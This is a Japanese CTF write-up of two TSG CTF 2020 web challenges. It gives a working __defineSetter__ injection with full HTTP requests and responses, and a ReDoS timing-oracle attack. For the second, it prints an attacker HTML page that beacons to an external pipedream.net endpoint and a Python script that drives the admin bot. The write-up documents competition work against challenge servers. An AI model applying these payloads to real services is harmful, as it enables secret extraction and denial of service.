TSG CTF 2020 writeup (Beginner's Web, Note 1)
TSG CTF 2020 に ./Vespiary として参加しました。結果は Score 2448 で 7位 でした!
TSG CTF is over! Thanks for your participation! https://t.co/kCnkOkwpER
— TSG CTF International (@tsgctf) 2020年7月12日
Top 3:
1. NaruseJun
2. DefenitelyZer0
3. tohru lovers
As announced beforehand, they are awarded with prizes. Congrats!#tsgctf #tsg_ctf pic.twitter.com/7s3c9gZAr5
- ctftime: https://ctftime.org/event/1004
公式ツイートに載ったのでわざわざスクショ取らなくて良い!うれしい!*1
以下は、自分が解いた問題のwriteupです。Beginner's WebとNoteです*2。
最近はチームの writeup repository ができたのでそっちにwriteupを書いてたけど、久しくブログを書いてなかったのでたまにはこっちに(あとでrepository側からリンクさせるかも)。
writeup
1行writeup:
Beginner's web: __defineSetter__(FLAG_SESSION, callback)
— Ark (@arkark_) 2020年7月12日
Note: (^TSGCTF\{PREFIX|(([0-9A-Z_]+)+){18})
[web] Beginner's Web
31 solves, 168 pts
問題概要
ソースコードとWebページが与えられます。以下は重要そうなソースコードの一部分です。
flagConverter
関数を呼ばせることができたらフラグが手に入りそうです。
/* -- snip -- */ const converters = {}; const flagConverter = (input, callback) => { const flag = '*** CENSORED ***'; callback(null, flag); }; const base64Converter = (input, callback) => { /* -- snip -- */ }; const scryptConverter = (input, callback) => { /* -- snip -- */ }; app.post('/', async (request, reply) => { if (request.body.converter.match(/[FLAG]/)) { throw new Error("Don't be evil :)"); } if (request.body.input.length < 10) { throw new Error('Too short :('); } if (request.body.input.length > 1000) { throw new Error('Too long :('); } converters['base64'] = base64Converter; converters['scrypt'] = scryptConverter; converters[`FLAG_${request.session.sessionId}`] = flagConverter; const result = await new Promise((resolve, reject) => { converters[request.body.converter](request.body.input, (error, result) => { if (error) { reject(error); } else { resolve(result); } }); }); reply.view('index.html', { input: request.body.input, result, sessionId: request.session.sessionId, }); }); /* -- snip -- */
解法
converters
変数にアクセスしてる request.body.converter
と request.body.input
に適当な文字列を与えると悪さができそうです。
Object.prototype
に良さげなメソッドがないかMDNで調べます。1引数目に文字列、2引数目に関数を指定できるような関数があれば最高です。ありました:
仕様を見る限り
request.body.converter
:__defineSetter__
request.body.input
:FLAG_{{ sessionId }}
とすれば、converters[
FLAG_${request.session.sessionId}]
に値が代入されるタイミングでcallbackが呼ばれることがわかるので、それを試します。
攻撃手順
sessionIdを手に入れる:
$ http GET http://34.85.124.174:59101/ HTTP/1.1 200 OK Connection: keep-alive Content-Length: 1061 Content-Type: text/html; charset=utf-8 Date: Sat, 11 Jul 2020 14:31:39 GMT Server: nginx/1.19.1 set-cookie: sessionId=TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j.3xAcvj6hZKs8ySqlEH14dCIcZYatJ5Q7BvfvCwn0%2F7I; Path=/; HttpOnly <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/milligram/1.4.0/milligram.css"> <title>Beginner's Web: OmniConverter</title> <style> body { text-align: center; } .row { justify-content: center; margin: 1rem 0 1.5rem; } </style> </head> <body> <div class="container"> <h1>OmniConverter</h1> <form method="POST"> <textarea name="input" minlength="10"></textarea> <div class="row"> <select class="column column-20" name="converter"> <option value="base64">Base64</option> <option value="scrypt">scrypt</option> </select> <button class="column column-10" type="submit">Convert</button> </div> <textarea disabled></textarea> </form> <p>Session ID: TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j</p> </div> </body> </html>
__defineSetter__
を仕込んだリクエストを投げる:
$ http -v --form POST http://34.85.124.174:59101/ Cookie:sessionId=TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j.3xAcvj6hZKs8ySqlEH14dCIcZYatJ5Q7BvfvCwn0%2F7I converter=__defineSetter__ input=FLAG_TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j POST / HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 70 Content-Type: application/x-www-form-urlencoded; charset=utf-8 Cookie: sessionId=TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j.3xAcvj6hZKs8ySqlEH14dCIcZYatJ5Q7BvfvCwn0%2F7I Host: 34.85.124.174:59101 User-Agent: HTTPie/2.2.0 converter=__defineSetter__&input=FLAG_TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j
$ http -v --form POST http://34.85.124.174:59101/ Cookie:sessionId=TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j.3xAcvj6hZKs8ySqlEH14dCIcZYatJ5Q7BvfvCwn0%2F7I converter=base64 input=FLAG_TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j .. snip ..
すると先程のリクエストに対するレスポンスが返ってきてフラグ入手:
HTTP/1.1 500 Internal Server Error Connection: keep-alive Content-Length: 1231 Content-Type: text/html; charset=utf-8 Date: Sat, 11 Jul 2020 14:32:21 GMT Server: nginx/1.19.1 set-cookie: sessionId=TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j.3xAcvj6hZKs8ySqlEH14dCIcZYatJ5Q7BvfvCwn0%2F7I; Path=/; HttpOnly <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/milligram/1.4.0/milligram.css"> <title>Beginner's Web: OmniConverter</title> <style> body { text-align: center; } .row { justify-content: center; margin: 1rem 0 1.5rem; } </style> </head> <body> <div class="container"> <h1>OmniConverter</h1> <h2>ERROR: (input, callback) => { const flag = 'TSGCTF{Goo00o0o000o000ood_job!_you_are_rEADy_7o_do_m0re_Web}'; callback(null, flag); }</h2> <form method="POST"> <textarea name="input" minlength="10"></textarea> <div class="row"> <select class="column column-20" name="converter"> <option value="base64">Base64</option> <option value="scrypt">scrypt</option> </select> <button class="column column-10" type="submit">Convert</button> </div> <textarea disabled></textarea> </form> <p>Session ID: TWhQnLmw9Ihuf1m3rfwOkS3snJjk8E-j</p> </div> </body> </html>
フラグ
TSGCTF{Goo00o0o000o000ood_job!_you_are_rEADy_7o_do_m0re_Web}
[web] Note
7 solves, 322pts
問題概要
テキストを入力してそのノードを保存、検索、削除等ができるサービスが与えられます。
- 検索するときは正規表現を使う
- adminのアカウントではノートがひとつあり、そのノートにフラグが書かれている
- フラグの形式は
TSGCTF{[0-9A-Z_]*}
- フラグの形式は
http://34.84.10.25:18365/?{{ query }}#{{ url }}
の形式でアクセスするとhttp://34.84.10.25:18365/query
にurlをPOST- adminに特定のWebページへアクセスさせる
- このbotのtimeoutは3000ms
解法
フラグにヒットしたらすぐ処理が終わり、ヒットしなかったら長い処理になるような正規表現を考えます。
- 例:
(^TSGCTF\{PREFIX|(([0-9A-Z_]+)+){18})
これを用いて、先頭から1文字ずつ確定できないか考えました。
実際に行った方法は次の方法です。
攻撃手順
次のようなHTMLを配信するWebページを準備。URLはhttp://0f411bb41f4f7721f96ca4feac866bf8.m.pipedream.net
index.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>tmp page</title> </head> <body> <div id="root"></div> <script> // for local tests if (document.domain === "localhost") { setTimeout(() => { location = "https://google.com"; }, 3000); } const prefix = location.search.substring(1); const reportUrl = "http://28f445a0245359c24103538ec1ac0dbf.m.pipedream.net/prefix/" + prefix; const search = '(^TSGCTF{' + prefix + '|(([0-9A-Z_]+)+){18})'; fetch(reportUrl + "/init"); const f = async () => { const frame = document.createElement("iframe"); frame.src = "http://34.84.161.130:18364/?" + search; root.appendChild(frame); }; f(); const g = () => { fetch(reportUrl); }; setTimeout(() => { setInterval(g, 100); }, 1000); </script> </body> </html>
そして適当なスクリプトを準備する。
exploit.py
import requests import time url = "http://0f411bb41f4f7721f96ca4feac866bf8.m.pipedream.net?" chars = "_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" prefix = "5H4LL_W3_ENC" # 先頭から1文字ずつ確定させる for c in chars: current_prefix = prefix + c print("payload={}".format(current_prefix)) payload = { "url": url + current_prefix } res = requests.post( "http://34.84.161.130:18364/query", payload, ) print(res.text) assert res.text == "Okay! I got it :-)" time.sleep(4)
実行すると、
$ python exploit
こんな感じでGET requestが飛んでくる。prefixが間違っている場合はbotがbusy状態になるのでrequestが飛びにくくなり、prefixが正しい場合は複数requestが飛んでくる。この画像の例だとR
が次の文字だと推測できる。
本当は処理がtimeoutしたかどうかなどでできる攻撃手法が確実だったんだけど、思いつかなかったのでお行儀悪いことをしてしまった。実質攻撃(いや、CTFは元々攻撃なんですが)。インスタンスいじめてごめんなさい。
フラグ
TSGCTF{5H4LL_W3_ENCRYP7}
感想
見た問題はどれもおもしろく質も高かったため、とてもたのしめました。ただ、問題数と難易度の割に(自分にとっては)時間が短く、手付かずな問題があったのは心残りでした。もう少し長く開催されるといいなと思いました*4。
結果は7位でかなり奮闘できたんじゃないかと思います。うれしい。チームメンバがどんどん問題解いてくれてありがたい。
CTFに関してだけど、最近はweb問にはまってるのでその周辺に強くなりたいです。今回は1桁solvesのNoteを解けたのは自分としてはうれしかったです。強いチームは当然のように全問解いていってるので、自分もああなりたいです。まだまだCTF経験が浅くてCTFに参加するたびに学びが多く、作問者の人たちすごいなあと思いながら解いてます。作問側に回れるような実力をつけたい。